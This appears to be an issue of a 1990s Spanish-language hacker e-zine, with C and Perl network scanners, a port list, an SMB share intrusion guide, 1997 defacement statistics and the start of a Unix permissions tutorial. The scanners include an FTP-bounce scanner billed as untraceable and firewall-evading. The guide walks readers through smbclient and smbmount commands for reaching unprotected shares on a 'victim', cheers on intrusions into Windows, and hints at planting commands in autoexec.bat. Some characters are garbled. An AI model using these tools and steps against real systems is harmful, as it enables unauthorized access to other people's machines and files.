* This program will scan a hosts TCP ports printing all ports that accept
* connections, and if known, the service name.
* This program can be trivially altered to do UDP ports also.
*
* Kopywrong (K) Aug. 25, '94 pluvius@io.org
*
* Hey kiddies, this is a C program, to run it do this:
* $ cc -o pscan pscan.c
* $ pscan <host> [max port]
*
* No, this will not get you root.
*
* Changes:
* Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
* Netrunner 1/18/95 11:30pm
*
* Changes:
* converts port# to network byte order.
* Therapy 10/29/96 9:00pm
*
*/
static char sccsid[] = "@(#)pscan.c 1.0 (KRAD) 08/25/94";
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define MAX_PORT 1024 /* scan up to this port */
int s;
struct sockaddr_in addr;
char rmt_host[100];
int skan(port)
int port;
{
int r;
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
/* fprintf("ERROR: socket() failed\n"); */
/* Changed to printf for my Linux 1.1.18 box */
printf("ERROR: socket() failed\n");
exit(0);
}
addr.sin_family = PF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(rmt_host);
r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
close(s);
if (r==-1) {
return (1 == 0);
}
return (1 == 1);
}
main(argc,argv)
int argc;
char *argv[];
{
int a,b,c,d,e,f;
struct hostent *foo;
struct servent *bar;
if (argc < 2) {
fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
exit(0);
}
if (°canf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
foo = gethostbyname(argv[1]);
if (foo == NULL) {
fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
exit(0);
}
sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
(unsigned char ) foo->h_addr_list[0][1],
(unsigned char ) foo->h_addr_list[0][2],
(unsigned char ) foo->h_addr_list[0][3]);
} else {
strncpy(rmt_host,argv[1],99);
}
if (argc > 2) {
f = atoi(argv[2]);
} else
f = MAX_PORT;
fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
for (e =1;e<=f;e++) {
char serv[100];
if (skan(e)) {
bar = getservbyport(htons(e),"tcp");
printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
bar->s_name);
}
}
}
------------ FIN -------------------------------------------------------------
Ahora solo tenemos que compilarlo y ejecutarlo :))
He creido que este escanedor que os doy mas abajo podria ser
interesante para nuestros propositos ya que nos permite escanear un
servidor pasando por otro servidor aprovechando un bug en el protocolo FTP.
------------ Codigo Fuente ---------------------------------------------------
/*
* FTP Scan (C) 1996 Kit Knox <kit@connectnet.com>
*
* Exploits bug in FTP protocol that allows user to connect to arbritary
* IP addre° and port.
*
* Features: Untraceable port scans. Bypa° firewalls!
*
* Example usage:
*
* ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
*
* This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
int sock;
char line[1024];
void rconnect(char *server)
{
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(server);
if (hp==NULL) {
printf("Unknown host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(21);
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock,(struct sockaddr *) &sin, sizeof(sin));
}
void login(void)
{
char buf[1024];
sprintf(buf,"USER ftp\n");
send(sock, buf, strlen(buf),0);
sleep(1);
sprintf(buf,"PA° user@\n");
send(sock, buf, strlen(buf),0);
}
void readln(void)
{
int i,done=0,w;
char tmp[1];
sprintf(line,"");
i = 0;
while (!done) {
w=read(sock,tmp, 1, 0);
if (tmp[0] != 0) {
line[i] = tmp[0];
}
if (line[i] == '\n') {
done = 1;
}
i++;
}
line[i] = 0;
}
void sendln(char s[1024]) {
send(sock, s, strlen(s),0);
}
#define UC(b) (((int)b)&0xff)
void main(int argc, char **argv)
{
char buf[1024];
int i;
u_short sport,eport;
register char *p,*a;
struct hostent *hp;
struct sockaddr_in sin;
char adr[1024];
if (argc != 5) {
printf("usage: ftp-scan ftp_server scan_host loport hiport\n");
exit(-1);
}
hp = gethostbyname(argv[2]);
if (hp==NULL) {
printf("Unknown host: %s\n",argv[2]);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
rconnect(argv[1]);
/* Login anon to server */
login();
/* Make sure we are in */
for (i=0; i<200; i++) {
readln();
if (strstr(line,"230 Guest")) {
printf("%s",line);
i = 200;
}
}
a=(char *)&sin.sin_addr;
sport = atoi(argv[3]);
eport = atoi(argv[4]);
sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));
for (i=sport; i<eport; i++) {
sin.sin_port = htons(i);
p=(char *)&sin.sin_port;
sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1]));
sendln(buf);
sprintf(line,"");
while (!strstr(line, "150") && !strstr(line,"425")) {
readln();
}
if (strstr(line,"150")) {
printf("%i connected.\n",i);
}
}
close(sock);
}
------------ FIN -------------------------------------------------------------
Ahora ya sabemos que puertos tiene abiertos el servidor victima,
buscamos una lista y comparamos y asi podemos buscar bug para los puertos
que el server tenga abiertos. Tranquilo que ahora viene un listado de
puertos.
------------ Listado de Puertos ----------------------------------------------
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
qotd 17/udp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/tcp nameserver
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
nameserver 53/tcp domain # name-domain server
nameserver 53/udp domain
mtp 57/tcp # deprecated
bootp 67/udp # boot program server
tftp 69/udp
rje 77/tcp netrjs
finger 79/tcp
link 87/tcp ttylink
supdup 95/tcp
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp
dictionary 103/tcp webster
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop 109/tcp postoffice
pop2 109/tcp # Post Office
pop3 110/tcp postoffice
portmap 111/tcp
portmap 111/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp authentication
sftp 115/tcp
path 117/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/udp ntpd ntp # network time protocol (exp)
nbname 137/udp
nbdatagram 138/udp
nbse°ion 139/tcp
NeWS 144/tcp news
sgmp 153/udp sgmp
tcprepo 158/tcp repository # PCMAIL
snmp 161/udp snmp
snmp-trap 162/udp snmp
print-srv 170/tcp # network PostScript
vmnet 175/tcp
load 315/udp
vmnet0 400/tcp
sytek 500/udp
biff 512/udp comsat
exec 512/tcp
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no pa°words used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
efs 520/tcp # for LucasFilm
route 520/udp router routed
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
rvd-control 531/udp MIT disk
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
garcon 600/tcp
maitrd 601/tcp
busboy 602/tcp
acctmaster 700/udp
acctslave 701/udp
acct 702/udp
acctlogin 703/udp
acctprinter 704/udp
elcsd 704/udp # errlog
acctinfo 705/udp
acctslave2 706/udp
acctdisk 707/udp
kerberos 750/tcp kdc # Kerberos authentication--tcp
kerberos 750/udp kdc # Kerberos authentication--udp
kerberos_master 751/tcp # Kerberos authentication
kerberos_master 751/udp # Kerberos authentication
pa°wd_server 752/udp # Kerberos pa°wd server
userreg_server 753/udp # Kerberos userreg server
krb_prop 754/tcp # Kerberos slave propagation
erlogin 888/tcp # Login and environment pa°ing
kpop 1109/tcp # Pop with Kerberos
phone 1167/udp
ingreslock 1524/tcp
maze 1666/udp
nfs 2049/udp # sun nfs
knetd 2053/tcp # Kerberos de-multiplexor
eklogin 2105/tcp # Kerberos encrypted rlogin
rmt 5555/tcp rmtd
mtb 5556/tcp mtbd # mtb backup
man 9535/tcp # remote man server
w 9536/tcp
mantst 9537/tcp # remote man server, testing
bnews 10000/tcp
rscs0 10000/udp
queue 10001/tcp
rscs1 10001/udp
poker 10002/tcp
rscs2 10002/udp
gateway 10003/tcp
rscs3 10003/udp
remp 10004/tcp
rscs4 10004/udp
rscs5 10005/udp
rscs6 10006/udp
rscs7 10007/udp
rscs8 10008/udp
rscs9 10009/udp
rscsa 10010/udp
rscsb 10011/udp
qmaster 10012/tcp
qmaster 10012/udp
------------ FIN -------------------------------------------------------------
No he includo los puertos asignados al s.o. Inferno ya que por
ahora es muy dificil que encontremos un server con este magnifico s.o. En el
listado siguiente encontrareis un curioso escaneador pero no de puertos
sino de dominios, que nos sera util para sacar los subdominios de un server.
Deciros que este codigo no es un programa en C sino un script en Perl.
------------ Codigo Fuente ---------------------------------------------------
#!/usr/local/bin/perl -s
#
# Scan a subnet for valid hosts; if given hostname, will look at the
# 255 po°ible hosts on that net. Report if host is running rexd or
# ypserv.
#
# Usage: scan n.n.n.n
# mine, by default
$default = "130.80.26";
$| = 1;
if ($v) { $verbose = 1; }
if ($#ARGV == -1) { $root = $default; }
else { $root = $ARGV[0]; }
# ip addre°
if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
$root = "$one.$two.$three";
if ($root eq "..") { die "Can't figure out what to scan...\n"; }
}
print "Subnet $root:\n" if $verbose;
for $i (01..255) {
print "Trying $root.$i\t=> " if $verbose;
&resolve("$root.$i");
}
#
# Do the work
#
sub resolve {
local($name) = @_;
# ip addre°
if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
($a,$b,$c,$d) = split(/\./, $name);
@ip = ($a,$b,$c,$d);
($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
}
else {
($name, $aliases, $type, $len, @ip) = gethostbyname($name);
($a,$b,$c,$d) = unpack('C4',$ip[0]);
}
if ($name && @ip) {
print "$a.$b.$c.$d\t$name\n";
system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u
$name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t
$name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo
-u $name 100004 > /dev/null ; then echo \"R
unning ypserv.\"\nfi\nfi");
}
else { print "unable to resolve addre°\n" if $verbose; }
}
sub AF_INET {2;}
------------ FIN -------------------------------------------------------------
Espero que por el momento os haya quedado claro el surfeo de puertos
y en la siguiente entrega del curso o sea CURSO HACK IV seguiremos el
analisis de un server mediente comandos de unix y definiremos los puntos
vulnerables de un server.
Byes all y hasta la vista !!
CONDE VAMPIRO
- J.J.F. / HACKERS TEAM -
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
------------------------------------------------------------------------------
*********** USO DE SAMBA EN LINUX/UNIX COMO SUSTITUTO DEL NBTSTAT ************
******************************** By Enif. ***********************************
______________________________________________________________________________
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
1. Introduccion.
El Bug del NBTSTAT era una de las cosas que aun me ataban a mi pobre
windows, cuando lo escuche por primera vez fui una victima de el. Se
trataba de que se podia acceder a los archivos de un ordenador con
win NT/95 que los tubiera compartidos para su red local si no tenia
puesto pa°word para usar los recursos. Parece una cosa realmente
estupida, nos lo han de dar todo hecho, pues si!! eso mismo, pero la
realidad es que de ahi viene todo el problema, es un bug debido a una
mala administracion de los recursos, propiciada por la falta de infor-
macion que da Micro$oft da a sus clientes. Os digo por experiencia que
la mayoria de gente son absolutamente inconscientes de que alguien puede
acceder a su red local por TCP/IP, yo era uno de ellos cuando me entraron
y todo eso debido a mi gran "colega" -Psico- ..... bueno eso son detalles
le agradezco al menos que no me hiciera desastres.
En fin al principio creia que esto era propio de redes micro$oft, pero
no es asi. En Linux/UNIX existe una implementacion de este soft que
suele conocerse como Samba o LanManager. Ademas no es cosa de magia, en
realidad las dos redes estan separaditas, la LOCAL y la Mundial... TCP/IP
pero existe un API, llamada netbios que resulta ser una serie de primitvas
comtempladas que hacen de pasarela entre una y otra. Este protocolo de
aplicacion en versiones de micro$oft es un verdadero desastre , por que
ademas fue el causante de los famosos NUKES y tal y tal.... osea que todo
esto os deberia de servir a todos para saber que WINDOWS no es un buen
sistema operativo para conectarse a Inet.
2. Instrucciones del uso del smbclient como sustituto de nbtstat.
Lo primero que necesitamos es instalarnos una version del samba.
Bueno esto no ha de ser problema, pues suele venir en la mayoria de
las distribuciones de Linux, por propia experiencia os dire que viene
en la REDHAT 4.0 - 5.0. Si haceis una instalacion normal incluyendo
la opcion de conectividad con windows MSDOS ya se os metera directamente.
Bueno, una vez metido el samba, tendreis instalado un servidor de
recursos compartidos, esto no es ofensivo para vosotros mediante esta
tecnica pero cuidadin! por que la verdad es que el samba es un demonio
bastante xplotable, y podriais encontraros sorpresas cuando os conectarais.
Para solucionar esto , o bien lo matais antes de conectaros, cosa que es
facil, solo habeis de buscar con "ps -ax" entre los procesos activos, como
smbd (tambien debereis matar nmbd que esta relacionado con el samba pero
ahora no me enrollare en comentaros para que sirve, si teneis curiosidad:
"man nmbd" o nmbd --help) , localizais el pid y luego "kill -9 pid".
Otra solucion es copiarse el smbclient y luego desinstalarse el paquete
del samba. Esto ultimo es mas eficiente pero no lo recomiendo, por que si
teneis metido el samba en vuestra maquina podeis hacer pruebas de esto mismo
o de los diversos xploits que actuan sobre el. Ademas no he probado esta
opcion, asi que no os aseguro que el smbclient no dependa de ningun recurso
mas que se meten/configuran al instalar el samba. Si lo probais y funciona
os agradeceria que me lo comunicarais.
Bueno, pues se supone que ya debes tener metido el samba en tu maquina
lo primero que puedes hacer es poner lo siguiente:
smbclient
Te deberia aparecer lo siguiente maomeno:
Usage: smbclient service <pa°word> [-p port] [-d debuglevel] [-l log]
Version 1.9.17p4
-p port listen on the specified port
-d debuglevel set the debuglevel
-l log basename. Basename for log/debug files
-n netbios name. Use this name as my netbios name
-N don't ask for a pa°word
-P connect to service as a printer
-M host send a winpopup me°age to the host
-m max protocol set the max protocol level
-L host get a list of shares available on a host
-I dest IP use this IP to connect to
-E write me°ages to stderr instead of stdout
-U username set the network username
-W workgroup set the workgroup name
-c command string execute semicolon separated commands
-T<c|x>IXgbNa command line tar
-D directory start from directory
Bueno, todas estas opciones son muy bonitas :) y sirven para diversas
cosas, incluso puedes hacerles bromitas a la gente que tenga metido los
mensajes emergentes, enviandole notitas con esta herramienta. Si quereis
probar mirar la opcion -M.
Para hacer lo del nbtstat deberemos usar la opcion -L:
smbclient -L "dns_victima"
Ojo , aqui solo admite dns, pero para eso no hay problemo, si sabes la
ip tranquilamente haces un "nslookup ip" y te dara la dns.
Esto nos dara algo asin maomeno:
Added interface ip=192.168.0.2 bcast=192.168.0.255 nmask=255.255.255.0
Unknown socket option TCP_NODELAY
Server time is Tue Jan 27 22:54:18 1998
Timezone is UTC+1.0
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4]
connected as guest security=user
Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba 1.9.17p4)
X Disk "<--- recurso compartido"
This machine has a browse list:
Server Comment
--------- -------
VICTIMA Samba 1.9.17p4
This machine has a workgroup list:
Workgroup Master
--------- -------
OTHERGROUP OTHER
WORKGROUP VICTIMA
Las ip,bcast y nmask del ejemplo son simbolicas.
Esto significa que el macho comparte recursos, es muy buena senal.
Tambien es buena senal que no os pida pa°word por que no es seguro
que esto se pueda llegar a hacer sin autentificacion, si os lo pide
podeis probar a darle al enter, debido a que muchos servicios de este
tipo no tienen pa°wd, sobretodo los de win.(recordad que algunas
maquinas UNIX tambien lo dan)
Con esto ya tendreis a la victima localizada y sabreis su nombre de
netbios. En este ejemplo es VICTIMA.
3. Instrucciones de uso del net view \\....
Bueno ahora viene lo mas interesante y lo realmente efectivo.
He de deciros que hasta ahora no hemos creado una conexion con la
victima, solo hemos pedido informacion sobre su nombre y los recursos
que comparte. En esto es lo interviene el nmbd, en el servicio de
nombres de netbios y tal y tal...
Para hacer lo del net view hemos de ejecutar lo siguiente:
En una red local normal bastaria con hacer :
smbclient \\\\VICTIMA\\recurso
para que apareciera el esperado prompt que nos asegura que hemos conectado
smb>
Esto es debido a que el cliente envia un broadcast por la red local
pidiendo informacion del servidor VICTIMA, y este se encargaria de
enviarnos una respuesta. Pero en Inet no se puede hacer un mega broadcast
de guais a ver si nos contestan chorrocientos servidores con el mismo
nombre por esas malditas casulidades de esta vida.
Entonces deberemos ayudar al cliente a encontrar a ese nuestro "amigo"
servidor VICTIMA, como se hace esto? facil:
smbclient \\\\VICTIMA\\recurso -I ip_victima
y yasta, luego nos pedira pa°word seguramente y solo hay que probar
hasta donde llega la ignorancia de ese susodicho administrador
propietario de la maquina, es decir a ver si ha puesto pa° o no.
Que por que 4 BARRAS "\"? pues no se pero es la formalidad, sino no
funa, y la verdad es que eso me hizo partirme los cuernos buscando por
que no me conectaba al principio... pero por fin!!! yasta
Bueno no mas, solo deciros que a partir de ahi es como un FTP, muy
facilito si no sabeis como empezad probad con "h" o con "?" y nada los
tipicos ls, cd... y tal y tal...
Bueno nada mas... feliz intrusiones en WINDOWS que eso me satisface
muy MUCHO.
4. Facilidades a la hora de accder a los datos ;) (extra! extra!)
Bueno muchos seguro que habran dicho que esto de hacer algo asin como
un FTP es como un palo en los ojos... pues la verdad es que si. Que podemos
hacer en Linux para que al conectarnos a un servicio (un directorio
concretamente) podamos acceder a el como cuando lo hacemos desde el
"ventanas" que el acceso es directo tal como si se tratase de un recurso
nuestro?. No es dificil pero si chungo...X''D esto es, que si estas
familiarizado un poco con linux no es dificil, lo cual es chungo, y si no
lo estais entonces si que es chungoooooooo!!! . Bueno pero no es para tanto,
solo hay que recompilar el kernel, si no controlais eso os podeis mirar el
KERNEL HOWTO y luego seguid las instrucciones.
Bueno para hacer lo que comentaba de conectarse a un recurso
compartido y acceder a el como si fuera un directorio vuestro solo tendreis
que montar dicho recurso en un directorio vuestro. La gracia, a quien le
haga por que a mi no ;), es que por supuesto el mount raso no da
opciones remotas, para eso hemos de usar el "smbmount" y "smbumount".
Estas dos utilidades por si no las has metido de base cuando instalaste
tu linux (probablemente vendran con las opciones de conectividad con
windows) las puedes encontrar en un paquete llamado smbfs.
Una vez las tienes metidas puedes recompilar el kernel. Lo unico que
has de hacer es ir a las opciones de "Filesystem" y ... :
<*> DOS FAT fs support
<*> MSDOS fs support
< > VFAT (Windows-95) fs support
< > umsdos: Unix like fs on top of std MSDOS FAT fs
[*] /proc filesystem support
<*> NFS filesystem support
[ ] Root file system on NFS
<*> SMB filesystem support (to mount WfW shares etc..)
[*] SMB Win95 bug work-around
. Asegurate que estas ^ dos ultimas esten activas
.
.
Bueno a recompilar....
Una vez listo esto solo has de reiniciar la maquina ( no te olvides de
lilo por si algo ). Una vez listo todo conectamos y yasta.
Ahora solo has de seleccionar una directorio que te guste por ejemplo:
mkdir /mnt/samba
y para montar el directorio de la maquina remota en el :
smbmount //VICTIMA/RECURSO /mnt/samba -I <ip/dns de la victima>
y voila!! te pedira pa°word igual que en smbclient y por lo demas
igual....
Ahora si quieres ver lo que hay en ese directorio solo has de ir a el
cd /mnt/samba y considerar dichos archivos como si se trataran de unos
archivos que tienes localmente en ese directorio, con lo que seguro que
podreis leerlos y copiarlos pero el modificarlos depende de la forma de
compartir archivos de la maquina en cuestion (ya sea solo lectura o
acceso total).
Nada mas respecto a este tema, lo demas corre de vuestra cuenta, tened
en cuenta que si os comparten el directorio raiz teneis acceso al
autoexec.bat , etc... con lo que ejecutar algo es cuestion de .. jeje
insertar lineas y hacer reiniciar al individuo... ;) .
Bueno este ha sido mi primer DoC, asi que ruego un poco de compasion y
no me destroceis con KRITICAS DESTRUCTICAS... lo demas lo acepto todo,
espero que ayude en algo y ala si necesitais alguna aclaracion, podeis
buscadme por HISPANO como "Enif" o como "TuRBo" (from Oioio of course ;) ),
suelo esta por #hack_novatos con el "populacho" o por #hackers ... Si sois
de #rejoin supongo que no os costara ;-)
**** Engendrado por Enif from Oioio ****
**** Colaboradores dAEk DrSlump CoSMiC SID 6.7 ****
**** Saludos a : ****
**** ****
**** aRUsHa, ACID-BURN, KRIS, BINARIA, Nad|a ****
**** Segarra, Dillet, Marauder, Erfollaor, Sanity ****
**** Gu°, Dcard, Jupiter, TGILITO, Nobody, PandE ****
**** Case, Koji, N|a, Shara, Scorpia.... ****
**** y en general a los canales: ****
**** #rejoin #hack_novatos y #hackers ****
**** Viva Linux!!! Viva!!! ****
pido disculpas por adelantado si algun nick no esta reflejado tal cual
el autor hubiera deseado, pero eso tiene solucion rapida ;)) ...
enif@ThePentagon.com
Por ultimo una cosilla que le lei el otro dia a un colega que me
permitira que se lo copie ligeramente ;-) ...... ( ;) Marauder )
" Las faltas de ortografia se las dedico a mi profe de Lengua de
Bachiller y a mi pApIS. "
Este DoC es de libre distribucion, puedes pasarselo a quien quieras y
ponerlo en las guebs que quieras, tienes mi vendicion para ello ;-)
No me hago responsable de lo que hagas despues de leer esto, tus actos
son los causantes no el conocimiento, en nigun sitio te he obligado ha
usar lo aqui expuesto asin que vive , se feliz y dejame en mi paz
pacifica.......... Ciao
By Enif. 1998 ..... El Buen hacker. Consultas en : rejoin@coollist.com
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
/------------------------\
| ESTADISTICA DE LOS |
\ HACKERS EN 1997. /
\____________________ /
En este articulo es revelaremos la estadistica sobre los ataques
que efectuaron los Hackers por Internet en 1997, los cuales fueron muy
diversos.
Aqui tenemos una tabla la cual refleja los 12 meses del año (horizontal) y
abajo los dominios hackeados (vertical). Como podreis observar el dominio
.COM o sea Comercial es el mas afectado de todos, seguido de .ORG
(organizacion) pero en menor medida, con mucha diferencia.
<---------------------- TABLA DE ESTADISTICA ----------------------------->
MES EN FE MA AB MA JU JU AG SE OC NO DI TOTAL
DOMINIO
.COM - - 1 - 3 6 2 7 32 28 59 82 220
.ORG - - 1 1 - - 1 2 - 3 4 6 18
.NET - - - - - - 2 2 2 3 6 1 16
.EDU - - - - - - - 2 1 1 2 3 9
.GOV - - 1 - - 1 - - 1 - 1 2 6
.MIL - - - - - - - - - 2 - 2 4
.US - - - - - - 2 - 1 - 3 1 7
.JP - - - - 1 - - - 1 2 3 - 7
.UK - - - 1 - - - - 1 - 1 3 6
.SE - - - 3 1 - - - - - - 1 5
.ID - - - 1 - - - - - - - - 1
.IT - - - - 1 - - - - - - 2 3
.PL - - - - 1 - - - - - - 1 2
.KR - - - - - - 1 - - - - - 1
.CA - - - - - - 1 - - 2 - 2 5
OTROS - - - - - - - 2 2 3 3 8 17
TOTAL - - 3 6 7 7 9 15 41 44 82 112 326
Otros Dominios: .NL, .RO, .ES, .NO, .ZA, .AT, .CN, .IR, .AU, .CZ, .MX,
.MY, .TW
La estadistica a sido realizada en base a las siguientes reglas:
- Todos los ataques fueron verificados.
- Multiples ataques fueron contados.
- Entre Enero y Febrero de 1997 no hubo estadistica, por eso no hay numeros.
- Estos sitios aumentaron el trafico y su popularidad el año pasado, por lo
que engordaron el total.
- Los comercios On-Line atacados no han sido incluidos.
- Esta estadistica no es un estudio cientifico como tal.
Nota : Datos obtenidos en Hacked Net.
- J.J.F. / HACKERS TEAM -
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
[DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS Y DIRECTORIOS PARA SISTEMAS UNIX]
==============================================================================
1. Introduccion
---------------
El siguiente documento tratara de explicar en que consiste y como
podemos establecer los diferentes permisos que podemos atribuir tanto a
directorios como a archivos en sistemas UNIX.
Si eres un usuario avanzado en el terreno UNIX, esto ya deberias
saberlo, pero si aun asi deseas leerlo te agradeceria a ti y a todos los
demas, que me rectificarais cualquier fallo que pueda tener durante este
texto.
2. Comenzando
-------------
Como todos sabreis los sistemas UNIX son sistemas
multitarea/multiusuario. A diferencia del sistema operativo MSDOS (por
ejemplo), estos sistemas operativos tienen la capacidad de tener a mas de
un usuario dentro del sistema, tanto localmente como remotamente. Por lo
tanto para proteger la privacidad de los archivos y directorios de cada uno
de ellos, para proteger ciertos archivos elementales para el buen
funcionamiento de la maquina, y para una buena organizacion del sistema
(aparte de otras muchas razones), tenemos a nuestra disposicion los
llamados permisos.
Como ya sabras, en una computadora con el S.O MSDOS, cualquier
persona que acceda a ella puede en cualquier momento borrar todo el disco
duro. En los sistemas UNIX hay diferentes categorias de usuarios, siendo la
mas alta la del llamado 'root', o superusuario, que puede leer, escribir y
ejecutar en cualquier archivo dentro del sistema.
Como he citado antes, hay 3 posiblidades a la hora de 'tratar' a un
archivo. Leer el archivo, ejecutar el archivo y escribir en el archivo (por
supuesto, nada de esto podremos hacer si no tenemos permiso para ello o no
hemos establecido los permisos oportunos).
3. UIDs y GIDs
--------------
Toda persona que haya tenido la oportunidad de trabajar con un sistema
UNIX, si ha tenido la ocasion de observar el archivos de paswords, habra
visto que aparte de la informacion del usuario, login, definicion de
shell... se encuentran 2 numeros, para ser mas exactos, en el tercer y
cuarto campo.
El tercero UID, y el cuarto, tambien definido en /etc/group GID. Todo
esto a grosos modos, serviria para identificar a cada archivo con su
propietario y grupo, entre otras cosas.
Los permisos de los archivos se almacenan junto con otra informacion
en una palabra de 16 bits dentro de lo llamado 'i-node'. 9 de ellos, se
refieren a lo mencionado anteriormente (lectura, escritura y ejecucion),
ademas de 3 bits adicionales que contienen cierta informacion para las
operaciones con el archivo si es ejecutable, que ya explicaremos mas
adelante. Cada archivo posee un'i-node' diferente, que ademas de contener
todo lo que hemos citado anteriormente, este numero tambien hace referencia
a los X primeros bloques en el disco donde se encuentra ese fichero, y
vienen las referencias de los bloques que contienen las direcciones simples,
dobles y triples del resto de los bloques del fichero, ademas de muchas
otras cosas que no tratamos en este documento.
*NOTA* Si deseamos saber el numero 'i-node' de un archivo en concreto
podemos emplear el comando 'ls -i archivo'
4. Permisos
-----------
En los archivos, o ficheros UNIX, a la hora de establecer los permisos
deseados tenemos que hacer uso de una orden de este S.O, que ha sido
destinada para eso exactamente, para la especificacion de permisos, esta
orden se llama 'chmod'. A la hora de establecer los permisos, tenemos dos
posiblidades, las dos son igual de validas y buenas, aunque cada uno
siempre se habituara a la que le resulte mas comoda. Las dos posiblidades
citadas anteriormente reciben el nombre de absoluta y relativa, que mas
adelante hablaremos sobre ellas.
A continuacion explicaremos las caracteristicas globales que tienen
los permisos de los archivos tanto hayan sido asignados en forma abosluta
como relativa.
Fijate en los siguientes cuadros:
Fig 1.
-rwxrwxrwx 1 core users 5 Feb 4 21:49 prueba*
Fig 2. Permiso
-----------------
r | lectura
w | escritura
x | ejecucion
Gracias al comando 'ls -l' podemos obtener bastante informacion tanto
de los archivos como de los directorios del sistema UNIX, tras hacer un
ls -l prueba el sistema nos mostrara algo parecido a la Figura 1.
Que como podemos observar el usuario 'core' del grupo 'users' tiene
un archivo llamado 'prueba'. Si observamos el primer fragmento de la linea,
nos extrañara el ver repetidamente las letras r,w y x, ademas del '-' al
principio de todo. Pues bien como hemos citado antes, un S.O basado en UNIX
tiene diferentes categorias de usuarios, es por ello que en el archivo
'prueba' y en todos los archivos, se engloban todos estos grupos.
El primer '-' significa que es un archivo normal, ya que si fuese un
directorio dicho '-' nos lo representaria por 'd', si fuese un enlace
mediante 'l', 'b' significaria que es un dispositivo especial de bloques,
'c' un dispositivo especial de caracteres,'p' un archivo de conduccion por
nombre, 's' un semaforo y 'm' nos indicaria que es un archivo de memoria
compartida.
Las 3 primeras letras 'rwx' si os fijais en la Fig 2 sabreis que se
refiere tanto a permisos de lectura, escritura y ejecucion, pero este
primer terceto siempre se referira al usuario que creo dicho archivo, es
